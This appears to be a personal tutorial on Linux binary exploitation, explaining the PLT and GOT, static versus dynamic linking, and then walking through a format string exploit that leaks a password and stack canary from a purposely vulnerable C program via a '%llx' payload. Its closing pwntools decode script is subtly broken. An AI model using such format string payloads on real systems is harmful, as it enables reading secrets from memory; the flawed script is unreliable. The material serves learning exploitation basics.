the plt(procedure linkage table) and got(global offset table) is a part of linux's addressing
functionality for dynamically linked binaries
GOT:
the global offset table is a table of addresses that lies within .data, notice how it resides within
read and write memory, not .rodata.
this will become important later with format string vulnerabilities
the GOT will store the addresses of the functions, in which the dynamic binary will use to call them
PLT:
the procedure linkage table essentially points to the addresses at GOT, when you call printf@plt,
instead of calling the function directly, it will first call an entry within PLT,
which then calls the function
the plt resides within the executable .text section of the dynamically linked binary
the addresses locations are resolved with what is called lazy resolution/lazy binding
the order in which this goes is
first, the function is called within the binary example:
call printf@plt
the program execution is then jmp'd to the plt, which will point to the global offset table
if the program has already been called, and the address is already known, the GOT will point program
execution to the desired location, then ret control back into the binary
if this is the first time the function is called(no previous instances of this one particular function)
then the global offset table will point back to the PLT's address resolution procedure.
the PLT's address resolution procedure is pretty complicated and will take too much time, so
the important part of it, is that it resolves the addresses of the function calls and updates GOT
the NT/windows equivalent to the GOT/PLT is the IAT(import address table), but we will not talk
about that today
that may sound a little convoluted at first, but i will try my best to explain each of them.
when binaries are linked, they can be statically linked, or dynamically linked
this means that the binary either has all functions it uses built inside of the binary, or it will
call out the the plt, which then gives it the address of the function call within memory
the addresses of function calls are not known during linked, but are dynamically resolved during runtime
hence then name, dynamic linking
when you statically link a binary, all of the external functions you use will be stuffed inside the
binary, which increases size but is important for portability and removes the need for external
dependencies that the host system may not have
lets try an example:
#include <stdio.h>
int main() {
printf("jotaro");
return 0;
}
lets compile this little piece of code dynamically
gcc dy.c -o dy
now lets see which shared libraries this binary has been linked to
now lets do that again, lets do "ldd dy" again and again
what do you notice is changing?
the addresses of the shared libraries in memory are constantly changing, this is all thanks to aslr which randomizes memory, but we will get to that later i just wanted to show a little example.
now we can see which shared libraries the binary is linked to, lets reverse this binary and see the function call
now we see the disassembly, we can see that it is initializing the stack frame, loading the address of our "jotaro" string into rdi(destination register), calling printf, and returning 0 through eax now lets take a look back at our printf call
call 1030 <printf@plt>
this calls "printf@plt", a global variable that will point to the address of printf.
this is how functions are called dynamically, now lets try compiling the binary statically
now before we do anything, note the fact that there are tons and tons of functions within the library even though we have the exact same code that means that all the functions were thrown inside our binary for us to use
we see that it does the same thing as the other binary, it establishes the stack frame, loads the address of the string into rdi, calls printf, returns 0, and restores stack frame and program execution back to the return address.
lets take another look at printf now:
call 409d70 <_IO_printf>
now we notice that instead of calling printf@plt, it will call printf or an address within the binary
that is what static and dynamic linking is
fmt string exploits, reading from the stack
this is going to be a very short writeup, as this is a pretty simple concept
lets check out the script we are going to be exploiting
pass.c:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char**argv){
setvbuf(stdout, NULL, _IONBF, 0);
char pass[]="j0t4r0\n";
int *ptr=pass; // write password to stack
char buffer[256];
printf("Enter the password: ");
read(0, buffer, 256);
if (strcmp(buffer, pass)!=0) {
printf(buffer);
exit(0);
}
printf("C0ngr4tz!");
return 0;
}
what this script does, is it reads in 256 bytes into a 256 byte buffer then calls printf, this is vulnerable due to the fact that we can supply
our own format string which allows us a lot of possibilities. one of these possiblities are arbitrary reads, where we can read from the stack
as we can see, the password is "j0t4r0", and will be pushed/written on the stack the first thing we should do is test out our exploit
python2 -c 'print"%llx."*100' | ./a.out
the format string i am going to be using here is %llx, this stands for long long hex the reason for using this is that this is an x64 binary, so i would need to read 8 bytes to get the full address.
I am also using %x, which stands for hexadecimal, so i can convert the values on the stack while also getting the addresses.
the reason i had used a "." after each format string was so that i could see which values were what
lets check out output:
Enter the password: 7ffdf4556308.6a.ffffffff.0.7f0f9eef6070.7ffdf4556518.100000003.7ffdf4556308.a30723474306a.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.7ffdf4556510.5bc8ebf0ab9c2b00.0.7f0f9ed0bb25.7ffdf4556518.1f45e3000.5633f77e9189.7ffdf4556889.5633f77e9290.5a29d1bf32d2cc1c
this at first just looks like a mess, but there is valuable data here, just by looking around we can see that we leaked the stack canary, 5bc8ebf0ab9c2b00, since they always end with a null byte in little endianess
now that we have noted that everything here is in little endian, lets try and find our password within this garbled mess
lets write a python script for this
from pwn import unhex
fmtdata="7ffdf4556308.6a.ffffffff.0.7f0f9eef6070.7ffdf4556518.100000003.7ffdf4556308.a30723474306a.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.7ffdf4556510.5bc8ebf0ab9c2b00.0.7f0f9ed0bb25.7ffdf4556518.1f45e3000.5633f77e9189.7ffdf4556889.5633f77e9290.5a29d1bf32d2cc1c".split(".")
try:
for i in fmtdata:
print(unhex(fmtdata)[::-1])
except:
print("Error, maybe check if there are any non decimal values?")